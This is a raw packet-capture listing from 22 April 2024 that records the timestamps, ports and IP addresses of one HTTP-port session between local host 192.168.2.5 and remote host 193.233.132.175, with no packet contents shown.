Apr 22, 2024 01:18:10.428754091 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428786039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428792000 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428880930 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428889036 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428920031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428925991 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428957939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428961039 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.428996086 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.428999901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429034948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429039001 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429075003 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429076910 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429116011 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429122925 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429157019 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429158926 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429195881 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429199934 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429234982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429235935 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429272890 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429279089 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429311991 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429316044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429348946 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429357052 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429387093 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429389954 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429424047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429430008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429461956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429466009 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429500103 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429503918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429538012 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429539919 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429575920 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429584980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429615021 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429619074 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429653883 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429658890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429692030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429692984 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429728985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429733038 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429768085 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429774046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429805040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429809093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429843903 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429848909 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429882050 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429888010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429920912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429924011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429959059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.429959059 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.429996014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430001974 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430035114 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430038929 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430073977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430078030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430114985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430116892 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430155039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430160046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430192947 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430193901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430233002 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430236101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430269957 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430278063 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430309057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430318117 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430349112 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.430352926 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.430393934 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.611763000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.612021923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.629656076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.629801989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.629826069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.630055904 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.645359039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.645600080 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.645878077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.645946026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.645967960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.645992994 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.646044970 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.646076918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.681852102 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.681909084 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.681963921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.681986094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682005882 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682025909 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682046890 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682048082 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682068110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682089090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682126999 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682145119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682166100 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682185888 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682204962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682214975 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682244062 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682249069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682282925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682291031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682324886 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682327986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682364941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682372093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682459116 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682465076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682498932 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682503939 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682540894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682548046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682583094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682589054 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682621956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682625055 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682662010 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682668924 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682701111 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682708025 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682740927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682750940 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682781935 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682787895 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682821989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682822943 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682862997 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682868004 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682900906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682907104 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682940960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682945013 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.682980061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.682990074 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683020115 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683022976 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683058977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683064938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683103085 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683104992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683140993 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683149099 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683182955 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683190107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683223009 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683228016 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683262110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683264971 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683300018 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683307886 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683341026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683345079 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683379889 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683382988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683420897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683425903 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683459044 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683465004 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683500051 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683504105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683538914 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683542967 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683578014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683583021 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683619022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683624983 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683657885 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683661938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683696985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683697939 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683734894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683741093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683774948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683779955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683816910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683820009 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683856964 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683861017 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683897018 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683900118 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683936119 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683943987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.683975935 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.683979988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684015989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684021950 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684056044 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684061050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684106112 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684098005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684158087 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684165955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684196949 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684201956 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684237957 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684242010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684277058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684283972 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684317112 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684322119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684356928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684361935 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684396982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684405088 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684436083 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684441090 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684478998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684480906 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684518099 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684524059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684557915 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684561014 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684597015 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684602022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684637070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684644938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684678078 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684684038 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684717894 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684724092 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684756041 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684761047 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684797049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684803009 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684834957 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684842110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684875965 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684879065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684916019 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684920073 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684953928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684957027 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.684993029 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.684998035 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685033083 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685039043 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685071945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685075998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685112953 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685115099 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685153008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685158968 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685192108 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685197115 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685230970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685236931 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685271025 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685276985 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685309887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685313940 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685349941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685354948 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685389996 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685395002 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685429096 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685436010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685467958 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685478926 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685508966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685513973 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685549021 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685553074 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685590029 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.685594082 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.685636044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.863625050 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.863816023 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.881396055 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.881547928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.881582975 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.881596088 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.897619009 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897659063 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897696972 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897753000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897809982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897831917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.897831917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.897831917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.897847891 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.897859097 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.897895098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937292099 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937359095 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937376976 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937402964 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937408924 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937444925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937452078 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937484026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937486887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937529087 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937536955 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937572002 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937576056 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937612057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937618971 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937655926 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937659979 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937695026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937700987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937733889 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937741041 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937772989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937779903 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937812090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937818050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937853098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937858105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937894106 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937899113 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937933922 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937938929 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.937974930 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.937983990 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938013077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938015938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938055038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938062906 CEST	49710	80	192.168.2.5	193.233.132.175
